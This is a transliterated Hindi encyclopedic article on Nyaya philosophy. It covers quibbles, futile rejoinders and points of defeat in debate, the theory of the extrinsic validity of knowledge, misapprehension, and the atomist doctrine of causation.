1. vakchhal - vividharthak pad ke prayog karane par vakta ke vivakshit arth se bhinn arth ko lekar jo nishedh kiya jata hai use vakchhal kahate haian.
2. samany chhal - sambhavyaman padarth ke sambandh mean ativyapak kisi samany dharm ki satta se vakta ke anabhimat kisi asanbhav arth ki kalpana se jo nishedh kiya jata hai use samany chhal kahate haian.
3. upacharachchhal - vadi kisi lakshanik pad ka prayog karata hai aur prativadi usake mukhy arth ko lekar nishedh karata hai, is asaduttar ko upacharachchhal kahate haian.

jati

jati shabd ke yadyapi anek arth prasiddh haian, kintu yahaan asadh uttar vishesh ke arth mean vah prayukt haian. jalp aur vitanda kathaoan mean jo uttar prativadi ke apane uttar ki bhi hani kar sakata hai arthath jo saman roop se donoan pakshoan ki hani kar sakata hai vah 'jati' ya 'jatyuttar' hai. yah jati pad ukt arth mean paribhashik hai. maharshi gautam ne isake lakshan mean kaha hai ki vyapti ki apeksha nahian karake keval kisi sadharmy ya vaidharmy se dosh ka pradarshan jati hai. is jati ke chaubis prakar yahaan nirdisht haian- sadharmyasama, vaidharmyasama, utkarshasama, apakarshasama, varnyasama, avarnyasama, vikalpasama, sadhyasama, praptisama, praptisama, apraptisama, prasangasama, pratidrishtantasama, anutpattisama, sanshayasama, prakaranasama, ahetusama, arthapattisama, avisheshasama, upapattisama, upalabdhisama, anupalabdhisama, anityasama, nityasama aur karyasama. nyay darshan ke pancham adhyay ke pratham ahnik mean inake lakshan tatha asaduttar hone mean yuktiyaan dikhayi gayi haian.

nigrahasthan

parajay roop nigrah tatha khalikar roop nigrah ke sthan arthath karan ko nigrahasthan kahate haian. vadi ya prativadi ki vipratipatti arthath kisi vishay mean viparit jnan, roop bhram aur bahut sthaloan mean apratipatti arthath ajnan isake nigrahasthan hone mean mool hai. isase vadi ya prativadi ki vipratipatti viparitajnan ya apratipatti- ajnan anumit hota hai, at: ye nigrahasthan mane gaye haian. nyayadarshan ke pancham adhyay ke dvitiy ahnik mean is nigrahasthan ke prabhed evan un prabhedoan ke lakshan kahe gaye haian. pratijnahani, pratijnantar, pratijnavirodh, pratijnasannyas, hetvantar, arthantar, nirarthak, avijnatarth, aparthak, apraptakal, nyoon, adhik, punarukt, ananubhashan, ajnan, apratibha, vikshep, matanujna, paryanuyojyopekshan, niranuyojyanuyog, apasiddhant aur hetvabhas. nigrahasthan ke ye baees prabhed yahaan svikrit haian.

pahale savyabhichar adi paanch prakaroan ke hetvabhas ke lakshan adi kahe gaye haian. in lakshanoan se yukt pratyek hetvabhas nigrahasthan hota hai. vachaspati mishr adi anek prachin acharyoan ne apani vyakhya mean nyayadarshan ke antim sootr mean samagat ‘ch’ shabd se any nigrahasthanoan ki or sootrakar ke sanket ka nirdesh kiya hai. tattvachintamani ki asiddhi bhag ki dikshiti ke ant mean aghunath shiromani ne bhi kaha hai ki chakar se any nigrahasthan bhi abhipret hai. yahaan kaha gaya hai ki vyarth visheshan se yukt vyapyatvasiddh namak hetvabhas nahian hota hai, apitu vah dosh vadi ka hai ki vyarth visheshan se yukt hetu ka prayog karata hai. at: vah nigrahasthan hi hai. in baees prakaroan ke nigrahasthan mean apasiddhant tatha hetvabhas ka vyavahar tattvanirnay ke uddeshy se ki gayi vad katha mean hoti hai. kisi-kisi ke mat se any nigrahasthanoan ka vyavahar bhi vad katha mean kiya ja sakata hai. jalp aur vitanda kathaoan mean to inaka avyahrit vyavahar hota hai. vijay ki kamana se hi un kathaoan ka pravartan hota haian. in nigrahasthanoan ke vishesh parichay ke bina kisi vichar ka hona hi kathin haian atmaraksha ke sath parapaksh ke shatan hetu isaka jnan avashy apekshit hai. doosaroan ke dvara asaduttar ke vyavahar karane par usako nighit karane ke lie tatha svayan isake vyavahar nahian karane ke lie in asaduttaroan ka tatha nigrahasthanoan ka jnan atyant avashyak hai.

uparyukt in solah padarthoan ke tattvajnan se ni:shreyas labh ki bat nyayadarshan ke pratham sootr mean nirdisht hai. yah ni:shreyas do prakar ke mane gaye haian- aitik abhyuday aur amushmik apavarg. kautily ka yah kahana hai ki anvikshiki vipatti evan abhyuday ke samay mean buddhi ko sanyamit karati hai isake aihik abhyuday ki or sanket karata hai aur apavarg ke sadhan ka vivaran chaturth adhyay ke tattvajnan paripalan tatha usaki vivriddhi prakaran mean spashtat: nirdisht hai. apavargaprapti ke upay nyayadarshan ke dvitiy sootr mean hi kahe gaye haian, jo yahaan apavarg ke sandarbh mean abhihit haian.

pramata ki pramey vishayak pramiti pramanoan par hi adharit rahati hai. atev praman sarvadhik mahattvashali mana gaya hai. yahi karan hai ki is shastr mean pramanoan ka vivechan pradhan roop se hua hai tatha padarthoan ke pariganan ke samay sabase pahale isi ka ullekh hai. bhashyakar vatsyayan ne kaha hai ki pramanoan ke arthavan hone par hi pramata, pramey aur pramiti arth se yukt hoti hai. kisi ek ke nahian rahane se arth upapann nahian ho pata he. pramanoan mean bhi yahaan pramukhata anuman ki hai. at: anvikshiki isaka sarthak nam hai. yahaan ek bat aur alochaniy hai. nyayadarshan keval adhyatmavidya ya mokshashastr hi nahian hai, yah ek prakriyashastr bhi hai. nyayadarshan ki vicharapaddhati shastrantar ke parijnan mean bhi sahayika hoti hai. yahi karan hai ki sabhi vidyaoan ka pradip, sabhi karyoan ke upay tatha sabhi dharmoan ka ashray ise kaha gaya hai-

pradip: sarvavidyanamupay: sarvakarmanamh.
ashray: sarvadharmanaan shashvadanvikshiki mata॥

nyayamanjari mean jayantabhatt ne nyayashastr ko vidyasthan kaha hai. yahaan vidyasthanatv se chaudah prasiddh vidyaoan ke purusharth sadhanata ke upay ko hi liya jata hai. vedan arthath jnan hi vidya hai, is jnan se ghatadi vishayak jnan nahian vivakshit hai apitu purusharth sadhan ka jnan vivakshit hai. usaka sthan arthath ashray upay- yah nyayavidya hai. isase nyayavidya ka prakriyashastratv evan adhyatmashastratv donoan upapann hota hai.

pashchatty vidvanh ne isaka nam vadashastr rakkha hai, kyoanki yahaan vad, jalp tatha vitanda adi ka vichar arthath shastrarth ki paripati nyayasootr mean hi arambh ho gaya tha aur usaka pallavan udayanachary ke nyayaparishisht tatha shankar mishr ke vadivinod adi mean dekha jata hai. in solah padarthoan se atirikt kintu unase hi sakshat ya paramparaya sanbaddh nyayadarshan ke prasiddh vishayoan ka sankshipt parichay is prakar hai. jaise - *parat: pramanyavad,

• anyathakhyati,
• arambhavad,
• avayavi ki siddhi
• eeshvarasiddhi adi.

parat: pramanyavad

pramanoan ka pramany svat: siddh hai ya parat: arthath jnanagrahak samagri se hi vah upapann hota hai ya atirikt karan ki apeksha rakhata hai- is tarah ki vipratipatti ke uthane par naiyyayik yahaan dvitiy koti ko svikar karata hai arthath parat: pramany manata hai. 'pradipaprakashasiddhivath tattsiddhe:' 2/1/19. is sootr se parat: pramanyavad ki or hi maharshi gautam ka svarasy pratit hota hai. jaise pradip ka prakash chakshurindriy ke dvara vidit hota hai arthath pradipantar ki apeksha nahian rahane par bhi pradip ke dekhane hetu chakshush indriy avashy apekshit hoti hai. atev andhavyakti ko us pradip ka darshan nahian ho pata hai. isi tarah pramanoan ka pramany bhi pramanantar se siddh hota hai. jaise pradip svat: prakash nahian hai usake prakash-darshan ke lie drashta ko chakshush indriy avashyak hai vaise hi pramanoan ke pramany mean bhi pramanantar ki apeksha avashy hoti hai. ukt pradip ke darshan hetu chakshush indriy ke avashyak hone par bhi usaka jnan us samay mean avashyak nahian hota hai. aise hi pramanoan ke pramany sadhak praman ke rahane par bhi usaka jnan avashyak nahian hota hai. kyoanki sarvatr praman mean pramany ka sanshay nahian hota hai. kahian-kahian praman ke dvara yatharth jnan ke utpann hone par bhi us jnan mean yatharthata ka sanshay hota hai. is sthal mean ukt praman padarth mean bhi yatharthata ka sandeh hota hai. phalat: yatharth jnan ka tatha yatharth praman ka yatharthatv pramanantar se nishchit hota hai. isi ka nam hai ‘parato grahyatv’.

abhipray yah hai ki praman ki pramanyasiddhi ke lie pramanantar ko manana hoga. yah pramanantar anuman svaroop hota hai, at: vah pramany ka sadhak kahalata hai. praman ke dvara kisi vishay ke jnan hone par vyakti us vishay mean pravritt hokar saphalata prapt karata hai. yahaan ukt prama jnan ke dvara usaka karan roop praman bhi saphal pravritti ka janak hota hai. ukt anuman ka svaroop is prakar ka hota hai (mera) yah jnan yatharth hai, kyoanki isamean saphal pravritti ki janakata vidyaman hai, jo aisa nahian hai vah yatharth bhi nahian hai. 'idan jnanan yatharthan saphalapravrittijanakatvath, yatraivamh tatraivamh.' mrigatrishna mean jal ke bhram hone par usase utpann jal pine ki pravritti saphal nahian hoti hai, at: vah bhram kadapi praman nahian hota hai aur praman ke dvara yatharth jal ke jnan hone par usake pine se pipasa ka upasham hota hai arthath jalapan mean pipasu vyakti ki pravritt saphal hoti hai. at: nirvivad roop se yah praman hota hai. ukt anuman ke dvara poorv mean utpann jalajnan ki yatharthata upapann hoti hai.

ved adi shastr roop adrishtarthak shabd praman ka pramany bhi doosare praman- anuman se siddh hota hai. vedavakyajany shabdabodh ka jo yatharthatv hai vah us ved ke vakta purush ke vedarthavishayak yatharthajnan roop gun se utpann hai. at: us satarah ke purush se krit hone ke nate nyayamat mean ved paurushey hai aur us apt purush (eeshvar) ke praman hone se hi ved mean pramany siddh hota hai. praman ke pramany sadhak is anuman praman mean pramany ke sandeh nahian hone par, is anuman ke pramany ki siddhi hetu anumanantar ki avashyakata nahian hoti hai. sabhi pramanoan mean pramany ka sandeh nahian hota hai. anyatha vyakti ke pramanamoolak nishchay hone par jo vyavahar ya pravrittiyaan dekhi jati haian, vah utpann nahian hoangi. at: nyayamat mean praman parat: grahy hai kintu parat: grahy hi nahian hai, kadachit svat: grahy bhi hai.

'jnanavikalpanaan bhavabhavasanvedanadadhyatmamh' (5/1/31.) is nyayasootr mean ‘jnanavikalp’ se vishishtavishayak jnan (savikalpakajnan) ko liya jata hai, jisake manas pratyaksh roop arthath anuvyavasay ko yah sootr abhivyakt karata hai. ghatatvaroop se ghatavishayak jnan hone par, doosare kshan mean ghatatvavishisht ghat ko maian janata hooan (ghatatven ghatamahan janami) is tarah ka jo manasabodh hota hai, usi ka nam hai- anuvyavasay. is anuvyavasay ke pramany ka sadhak pramanantar-anuman-manana avashyak haian anyatha is anuvyavasay mean pramany nahian a payega. at: nyayamat mean savikalpakajnan tatha anuvyavasay svat: prakash nahian hai, apitu donoan hi par prakashy haian anuvyavasay mean pramatv ya bhramatv vishay nahian hota hai. anuman se usake bhramatv ya pramatv ka nishchay kiya jata hai. phalat: bhramatv evan pramatv donoan hi parat: grahy hote haian. svat: nahian. bhramatmak jnan ki utpatti jaise kisi dosh se hoti hai vaise usake bhramatv ke nishchay mean bhi vah dosh karan hota hai. pramatmak jnan ki utpatti jaise kisi gun se hoti hai vaise usake pramatv ke nishchay mean bhi vah gun karan hota hai. isi prakriya se pramanoan ka parat: pramany upapann hota hai. bhramatmak jnan ki utpatti ka vishesh karan yahaan dosh pad se tatha pramatmak jnan ki utpatti ka vishesh karan gun pad se vivakshit haian.

parat: pramanyavadi naiyyayik ka kahana hai ki kisi vishay mean kisi ko vastut: pramajnan hone par bhi jab kisi sthal mean sandeh hota hai ki yah jnan pramatmak hai ya nahian? tab us pramajnan ke bodhak karan ke dvara hi usake pramatv ka nishchay ho jane par us vishay mean sanshay ho hi nahian sakata hai. karan rahane par kary avashy hota hai. yadi jnanagrahak samagri hi pramatv ka nishachayak hoga tab sanshay kaise ho sakata hai. kintu sandeh anubhav siddh hai, at: usaka apalap sanbhav nahian hai. yadi mana jae ki aise sthal mean jnata purush ke kisi dosh ke pratibandhak roop mean rahane par, pahale us jnan mean pramatv ka nishchay nahian ho pata hai. to kahana hoga ki kis tarah ka dosh yahaan pramatv ke nishchay ka pratibandhak haian sath hi dosh ke rahane par yah jnan bhramatmak hi kyoan nahian hota? jnan ke pramatv-nishchay mean kisi dosh ko pratibandhak manane par, usake abhav ko atirikt karan manana hoga. kyoanki karyamatr ke prati pratibandhak ka abhav karan hota hai. pramajnan ke pramatv-nishchay mean atirikt kisi karan ki apeksha nahian hoti hai- arthath pramatv svatograhy hai- yah nahian kaha ja sakata hai. isi tarah pramatmak jnan ki utpatti mean gun ke roop mean kisi atirikt praman ke nahian manane par bhi doshabhav ko karan manana hi hoga. kyoanki bhram ke janak dosh rahane par bhramatmak jnan avashy hota hai, pramatmak jnan nahian hota hai. prama jnan ki utpatti ya usaka pramatv yadi sarvatr doshabhav roop atirikt karan se utpann hota hai to utpattipaksh mean bhi svat: pramanyavad ki raksha nahian ho pati hai. tasmath parat: pramanyavad yukti evan praman se pratipann hota hai.

anyathakhyati

jo dharm jahaan nahian rahata hai, us dharm ke sath us vastu ka jnan arthath bhramajnan anyathakhyati kahalata hai. any prakar se jnan usaka vyutpattilamy arth hota hai. khyati pad yahaan jnan ka vachak hai. visheshyata ke vyadhikaran dharm any pad se vivakshit hai. abhipray yah hai ki shuktika mean jo rajat ka bhram hota hai. yahaan pratibhasik rajat ki utpatti nahian hoti hai apitu netradosh, dooratv tatha asphut alok adi doshoan ke karan shuktika ke apana dharm shuktitv ka grahan nahian ho pata hai, kintu sadrishy evan chakachiky adi ke karan rajatattv roop dharm ki kalpana ke bal par vah shuktika rajatatvaroop se parigrahit ho jati hai, jise bhram kahate haian. yahi hai anyathakhyati.

arambhavad

paramanu prabhriti upadan karanatmak dravy mean asat arthath utpatti ke pahale avidyaman-avayavi dravy ki utpatti hi arambh pad ka arth hota hai aur isaka pratipadak mat arambhavad kahalata hai. paramanukaranavad isi ka namantar hai. nyayadarshan ke chaturth adhyay mean isaka pratipadan dekha jata hai. ‘vyaktadh vyaktanaan pratyaksh pramanyath.’ yah pratyaksh praman se siddh hai ki vyakt karan se vyakt kary ki utpatti hoti hai. indriy se grahy dravy vyakt pad se yahaan vivakshit hai. yadyapi kary dravy ka mool karan paramanu atindriy mana gaya hai, tathapi indriyagrahy dravy ke sajatiy hone ke karan vah bhi vyakt kahalata hai.

is jagath ke mool karan roop atindriy is paramanu ka astitv pratyakshamoolak anuman ke dvara utpann hota hai. roop adi gunavishisht mrittika adi sthool bhootoan se tajjatiy any ghatadi dravy ki utpatti dekhakar, isi drishtant ke adhar par atindriy paramanu bhi siddh kiya jata hai. ghatadi dravy ke jo roop, ras adi vishesh gun utpann hote haian, unake mool karan paramanu mean bhi ve gun avashy vidyaman rahate haian. upadan (samavayi) karan mean vidyaman vishesh gun hi kary dravy mean tajjatiy vishesh gun ke janak hote haian. atev lal dhage se bane hue vastr lal hi hote haian. niyam hai ki karanagat gun karyagat gun ke janak hote haian- ‘karanaguna: karyagunanarabhate’. avadhey hai ki yah niyam vishesh gun mean lagoo hota hai, samany gun mean nahian. atev paramanuoan ki dvitvasankhya (samany gun) se dvyanuk mean jo pariman utpann hota hai, usake, sankhya ke vijatiy gun hone par bhi koee kshati nahian hai.

yahaan arambhavad ki sthapana se naiyyayik ko satkaryavad ke prati asahamati ka pradarshan bhi abhipret hai. isi bat ko samajhane ke lie sootrakar ne vyakt se vyakt ki utpatti ki bat kahi hai. trigunatmika prakriti (avyakt) ko is jagath ke mool karan ke roop mean svikar karana naiyyayikoan ko isht nahian hai. jayantabhatt ne apani nyayamanjari mean kaha hai ki uparyukt sootr mean vyakt pad se kapil muni ke svikrit avyakt karan ka nishedh karake paramanuoan mean sharir adi kary ki karanata kahi gayi hai. ‘vyaktaditi kapilabhyupagatatrigunatmakavyaktaroopakarananishedhen paramanoonaan shariradau karye karanatvamah’. phalat: asatkaryavad bhi arambhavad ka namantar hai. vah isase bhinn nahian hai.

yahaan prakriya yah hai ki do paramanuoan ke sanyog se sabase pahale jo dravy utpann hota hai usaka nam dyanuk hai. isaka pratyuksh nahian hota hai. vah anu pariman ka hota hai. tin dyanukoan ke sanyog se jo dravy utpann hota ha, usaka nam trasarenu ya tryanuk hai. sabase pahale isi mean sthoolatv ya mahatpariman utpann hota hai, at: isaka pratyaksh hota haian pratyaksh ke prati mahatpariman karan hota hai aur mahatpariman ki utpatti mean tin karan kahe gaye haian-

1. dravy ke upadan karan mean vidyaman bahutv sankhya,
2. mahatpariman aur
3. prachay visheshajn (shithil sanyog vishesh). dyanuk ke karan mean in tinoan mean se ek bhi vidyaman nahian he. kintu trasarenu ke samavayi (upadan) karan mean bahutv sankhya vartaman hai. at: usaka pratyaksh hota hai. bahutv sankhya ke karan yahaan sthoolatv ya mahatpariman utpann hota hai. manusmriti mean is trasarenu ka lakshan kiya gaya hai, jo nyayadarshan ke anukool hai-

jalantaragate bhanau yatsookshman drishyate raj:
prathaman tatpramananaan trasarenuan prachakshate 118/132.

yahaan avadhey hai ki dyagukoan ke sanyog se kisi dravy ki utpatti manane par usaka pratyaksh nahian ho payega. kyoanki vahaan mahatpariman ya sthoolatv ka abhav rahega. mahatpariman pratyaksh ke prati karan hota hai. uparyukt mahatpariman ke karanoan mean se ek bhi yahaan nahian hai. at: tin dyanukoan se trasarenu ki utpatti mani jati he, jahaan bahutv sankhya mahatpariman ka janak hoti hai. phalat: is trasarenu ki utpatti dyanuk se aur dyanuk ki utpatti paramanu se hoti hai. paramanu ki siddhi hetu naiyyayik ka kahana hai ki savayav dravy ke avayav vibhag ka ant kahian manana hoga, jahaan vah mana jaega vahian paramanu hai. anyatha parvat aur sarshap mean tuly parimanata ho jaegi, jo anubhav viruddh hai.

savayav dravy ke avayav paramparaoan ka vibhag karate-karate aise kisi chhote aansh mean us vibhag ka ant hota hai, jisaka koee aansh nahian hota. vahi ati sookshm aansh paramanu hai. parvat adi ke avayav tatha usake avayav adi parampara ka vibhag hone par ant mean jahaan usaka vishram hota hai, un paramanuoan ki sankhya adhik hone par, vah avayavi kramash: mahath, mahattar aur mahattm hota hai. aur jisaki (avayavi ki) avayav-parampara ke vibhag ke samay paramanaan ki sankhya kam hoti hai, vah laghu, laghutar evan laghutam yathakram hota hai. is tarah pariman ke taratamy se chhota-b da avayavi upapann hota hai. is avayav- vibhag ka yadi kahian ant nahian ho to jaise parvat ke avayav vibhag ka ant nahian hai vaise sarshap (sarasoan) ke avayav vibhag ka bhi ant nahian hoga. aisi paristhiti mean sarshap tatha parvat donoan hi anant avayavavishisht hone se donoan ki taphalay parimanata manane mean koee badha nahian hogi. kintu yah anubhav viruddh hai, at: avayav parampara ka vishram paramanu mean manana avashyak hai.

nyayadarshan ke chatur adhyay mean ‘sanyogopapatteshch’ tatha ‘anavasthakaritvad navasthanupapatteshchapratishedh:’ 4/2/24-25. sootroan ke dvara uparyukt abhipray ki sampushti hoti hai. yahaan kaha gaya hai ki paramanu ke avayav manane par, usaka avayav pun: usaka avayav adi anant avayav-parampara ki siddhi roop apatti hogi, jo anavastha kahalati hai. anavastha dosh mean prayojak hone se paramanu ka avayav siddh nahian hota hai. chooanki yah anavastha bijaankur ki tarah pramanik nahian hai at: n to many hai aur n utpann hi hota hai. yah bhi nahian kaha ja sakata hai ki jany dravy ki avayav-parampara ke charam vibhag ke bad kuchh avashisht hi nahian rahata hai. at: paramanu ki satta siddh nahian hoti hai. kyoanki vibhag ke lie vibhag ke adhar kabhi nasht nahian hote haian. nirashray vibhag to alik ho jaega. at: jin do mean vibhag hota hai, un donoan ki satta avashy hoti hai. nyayabhashyakar ne spasht kaha hai ki vibhag se vibhajyaman dravyoan ki hani nahian hoti hai- ‘vibhagasy vibhajyamanahanirnopapadyate’ (4/2/25.)

left|30px|link=nyay darshan ke pravartak|pichhe jaean

nyay darshan ke pravartak

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nyay darshan mean praman ka ullekh

right|30px|link=nyay darshan mean praman ka ullekh|age jaean

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